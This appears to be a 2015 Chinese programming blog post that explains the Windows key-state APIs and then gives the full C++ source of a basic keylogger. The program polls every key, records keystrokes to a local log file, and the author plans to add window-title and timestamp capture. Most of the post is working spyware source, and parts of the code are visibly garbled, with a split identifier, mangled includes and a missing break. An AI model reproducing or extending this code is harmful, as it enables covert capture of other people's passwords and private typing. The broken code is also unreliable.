设为首页 加入收藏

TOP

C++实现键盘记录器v1.0
2015-07-20 17:41:07 来源: 作者: 【 】 浏览:1
Tags:实现 键盘 记录 v1.0

首先,我是也是借鉴别人的源码来学习的。因为如果还是按照从头开始看VC++来做的话肯定是来不及的,那我就直接去分析看懂别的人的代码,从中学习并且自己再重新实现一遍,再做些改进。


先来介绍一下所用到的API:

1、fstream这是一个C++处理文件的一个类,里面有很多关于文件处理的函数。定义这个对象就能够使用其中很多的成员方法。

2、GetAsyncKeyState:

函数GetAsyncKeyState确定在调用它时某个按键处于弹起还是按下的,以及此按键是否在上一次调用GetAsyncKeyState之后(“又”)按下过(重复也算按下)。
如果函数成功,则返回值指定此按键自上次上次调用GetAsyncKeyState后是否按下过,以及此按键当前是弹起的还是按下的。如果最高比特位被设置(就是被设为1),此按键就是按下的,并且没有弹起,如果最低位被设置,则此按键在上次调用GetAsyncKeyState之后(“又”)被按下过。但是你不应该依赖于之前的(按键)行为
3、GetKeyState

以一个虚拟键位参数,返回这个虚拟键的状态,是按下还是弹起,抑或是像大写锁定键这样的按键的具体触发状态。

若高序位为1,则键处于DOWN状态,否则为UP状态。

若低序位为1,则键被触发。例如CAPS LOCK键,被找开时将被触发。若低序位置为0,则键被关闭,且不被触发。触发键在键盘上的指示灯,当键被触发时即亮,键不被触发时即灭。

具体检查这些状态的时候都需要用位运算的形式才计算。



接下来是具体的代码,注释我应该写的很清楚


#include
  
   
#include
   
     #include
    
      #include <
     windows.h> #include 
     
       #include 
      
        #include 
       
         using namespace std; const int KeyBoardValue = 0x80000000; string GetKeyName(int); bool JudgeShift();
       
      
     
    
   
  


#include"Main.h"

int main()
{
	string FileName = "F:\\recover\\2014.7-2015.1\\Keyborad\\log.txt";
	string KeyName = "";
	fstream FileStream;
	FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);
	while(1)
	{
		Sleep(5);
		for(int i = 8; i <= 255; i++)
		{
			if(GetAsyncKeyState(i)&1 == 1)               //判断虚拟按键是否按下,无论是一直按着还是按一下就弹起,只判断是否按过
			{
				KeyName = GetKeyName(i);
				FileStream.write(KeyName.c_str(), KeyName.size());
				FileStream.close();                                //写完一次就保存一次
				FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);
			}
		}

	}
	return 0;
}

string GetKeyName(int NumKey)
{
	bool IS_SHIFT = JudgeShift();
	string reva lue = "";
	//判断键盘中间的特殊符号
	if(NumKey >= 186 && NumKey <= 222)
		switch(NumKey)
	{
		case 186:
			if(IS_SHIFT) 
				reva lue = ":";
			else 
				reva lue = ";";
			break;
		case 187:
			if(IS_SHIFT) 
				reva lue = "+";
			else 
				reva lue = "=";
			break;
		case 188:
			if(IS_SHIFT) 
				reva lue = "<";
			else 
				reva lue = ",";
			break;
		case 189:
			if(IS_SHIFT) 
				reva lue = "_";
			else 
				reva lue = "-";
			break;
		case 190:
			if(IS_SHIFT) 
				reva lue = ">";
			else 
				reva lue = ".";
			break;
		case 191:
			if(IS_SHIFT) 
				reva lue = "?";
			else 
				reva lue = "/";
			break;
		case 192:
			if(IS_SHIFT) 
				reva lue = "~";
			else 
				reva lue = "`";
			break;
		case 219:
			if(IS_SHIFT) 
				reva lue = "{";
			else 
				reva lue = "[";
			break;
		case 220:
			if(IS_SHIFT) 
				reva lue = "|";
			else 
				reva lue = "\\";
			break;
		case 221:
			if(IS_SHIFT)
				reva lue = "}";
			else
				reva lue = "]";
			break;
		case 222:
			if(IS_SHIFT)
				reva lue = '"';
			else
				reva lue = ",";
		default:
			reva lue = "error";
			break;
	}


	if (NumKey == VK_ESCAPE) // 退出
		reva lue = "[Esc]";
	else if (NumKey == VK_F1) // F1至F12
		reva lue = "[F1]";
	else if (NumKey == VK_F2)
		reva lue = "[F2]";
	else if (NumKey == VK_F3)
		reva lue = "[F3]";
	else if (NumKey == VK_F4)
		reva lue = "[F4]";
	else if (NumKey == VK_F5)
		reva lue = "[F5]";
	else if (NumKey == VK_F6)
		reva lue = "[F6]";
	else if (NumKey == VK_F7)
		reva lue = "[F7]";
	else if (NumKey == VK_F8)
		reva lue = "[F8]";
	else if (NumKey == VK_F9)
		reva lue = "[F9]";
	else if (NumKey == VK_F10)
		reva lue = "[F10]";
	else if (NumKey == VK_F11)
		reva lue = "[F11]";
	else if (NumKey == VK_F12)
		reva lue = "[F12]";
	else if (NumKey == VK_SNAPSHOT) // 打印屏幕
		reva lue = "[PrScrn]";
	else if (NumKey == VK_SCROLL) // 滚动锁定
		reva lue = "[Scroll Lock]";
	else if (NumKey == VK_PAUSE) // 暂停、中断
		reva lue = "[Pause]";
	else if (NumKey == VK_CAPITAL) // 大写锁定
		reva lue = "[Caps Lock]";
	else if (NumKey == 8) //<- 回格键
		reva lue = "[Backspace]";
	else if (NumKey == VK_RETURN) // 回车键、换行
		reva lue = "[Enter]\n";
	else if (NumKey == VK_SPACE) // 空格
		reva lue = " ";
	else if (NumKey == VK_TAB) // 制表键
		reva lue = "[Tab]";
	else if (NumKey == VK_LCONTROL) // 左控制键
		reva lue = "[Ctrl]";
	else if (NumKey == VK_RCONTROL) // 右控制键
		reva lue = "[CTRL]";
	else if (NumKey == VK_LMENU) // 左换档键
		reva lue = "[Alt]";
	else if (NumKey == VK_LMENU) // 右换档键
		reva lue = "[ALT]";
	else if (NumKey == VK_LWIN) // 右 WINDOWS 键
		reva lue = "[Win]";
	else if (NumKey == VK_RWIN) // 右 WINDOWS 键
		reva lue = "[WIN]";
	else if (NumKey == VK_APPS) // 键盘上 右键
		reva lue = "右键";
	else if (NumKey == VK_INSERT) // 插入
		reva lue = "[Insert]";
	else if (NumKey == VK_DELETE) // 删除
		reva lue = "[Delete]";
	else if (NumKey == VK_HOME) // 起始
		reva lue = "[Home]";
	else if (NumKey == VK_END) // 结束
		reva lue = "[End]";
	else if (NumKey == VK_PRIOR) // 上一页
		reva lue = "[PgUp]";
	else if (NumKey == VK_NEXT) // 下一页
		reva lue = "[PgDown]";
	// 不常用的几个键:一般键盘没有
	else if (NumKey == VK_CANCEL) // Cancel
		reva lue = "[Cancel]";
	else if (NumKey == VK_CLEAR) // Clear
		reva lue = "[Clear]";
	else if (NumKey == VK_SELECT) //Select
		reva lue = "[Select]";
	else if (NumKey == VK_PRINT) //Print
		reva lue = "[Print]";
	else if (NumKey == VK_EXECUTE) //Execute
		reva lue = "[Execute]";

	//----------------------------------------//
	else if (NumKey == VK_LEFT) //上、下、左、右键
		reva lue = "[←]";
	else if (NumKey == VK_RIGHT)
		reva lue = "[→]";
	else if (NumKey == VK_UP)
		reva lue = "[↑]";
	else if (NumKey == VK_DOWN)
		reva lue = "[↓]";
	else if (NumKey == VK_NUMLOCK)//小键盘数码锁定
		reva lue = "[NumLock]";
	else if (NumKey == VK_ADD) // 加、减、乘、除
		reva lue = "+";
	else if (NumKey == VK_SUBTRACT)
		reva lue = "-";
	else if (NumKey == VK_MULTIPLY)
		reva lue = "*";
	else if (NumKey == VK_DIVIDE)
		reva lue = "/";
	else if (NumKey == 190 || NumKey == 110) // 小键盘 . 及键盘 .
		reva lue = ".";
	//小键盘数字键:0-9
	else if (NumKey == VK_NUMPAD0)
		reva lue = "0";
	else if (NumKey == VK_NUMPAD1)
		reva lue = "1";
	else if (NumKey == VK_NUMPAD2)
		reva lue = "2";
	else if (NumKey == VK_NUMPAD3)
		reva lue = "3";
	else if (NumKey == VK_NUMPAD4)
		reva lue = "4";
	else if (NumKey == VK_NUMPAD5)
		reva lue = "5";
	else if (NumKey == VK_NUMPAD6)
		reva lue = "6";
	else if (NumKey == VK_NUMPAD7)
		reva lue = "7";
	else if (NumKey == VK_NUMPAD8)
		reva lue = "8";
	else if (NumKey == VK_NUMPAD9)
		reva lue = "9";
	//----------------------------上述代码判断键盘上除了字母之外的功能键--------------------------------//
	else if(NumKey >=65 && NumKey <= 90)
	{
		if(GetKeyState(VK_CAPITAL))
		{
			if(IS_SHIFT)
				reva lue = NumKey + 32;
			else
				reva lue = NumKey;
		}
		else
		{
			if(IS_SHIFT)
				reva lue = NumKey;
			else
				reva lue = NumKey + 32;
		}
	}
	//---------------------------上面的部分判断键盘上的字母----------------------------------------------//
	else if(NumKey >= 48 && NumKey <= 57)
	{
		if(IS_SHIFT)
		{
			switch (NumKey)
			{
			case 48:reva lue = ")";break;
			case 49:reva lue = "!";break;
			case 50:reva lue = "@";break;
			case 51:reva lue = "#";break;
			case 52:reva lue = "$";break;
			case 53:reva lue = "%";break;
			case 54:reva lue = "^";break;
			case 55:reva lue = "&";break;
			case 56:reva lue = "*";break;
			case 57:reva lue = "(";break;
			}
		}
		else
		{
			switch (NumKey)
			{
			case 48:reva lue = "0";break;
			case 49:reva lue = "1";break;
			case 50:reva lue = "2";break;
			case 51:reva lue = "3";break;
			case 52:reva lue = "4";break;
			case 53:reva lue = "5";break;
			case 54:reva lue = "6";break;
			case 55:reva lue = "7";break;
			case 56:reva lue = "8";break;
			case 57:reva lue = "9";break;
			}
		}
	}
	return reva lue;
}

bool JudgeShift()
{
	int   iShift=GetKeyState(0x10); //判断Shift键状态
	bool   IS=(iShift & KeyBoardValue)==KeyBoardValue; //表示按下Shift键
	if(IS)
		return 1;
	else
		return 0;
}


基本上实现了键盘出了HOME键那部分所有的按键记录,这只是先实现一下最基本的功能,后续的版本应该还有把输入的窗口的名字获取到,时间,内容,还有一些组合键都会涉及到。


】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
分享到: 
上一篇HDU 5006 Resistance(鞍山网络赛.. 下一篇2通过程序获得环境变量,getenv()..

评论

帐  号: 密码: (新用户注册)
验 证 码:
表  情:
内  容:

·用 C 语言或者限制使 (2025-12-25 08:50:05)
·C++构造shared_ptr为 (2025-12-25 08:50:01)
·既然引用计数在做 GC (2025-12-25 08:49:59)
·Java 编程和 c 语言 (2025-12-25 08:19:48)
·. net内存管理宝典这 (2025-12-25 08:19:46)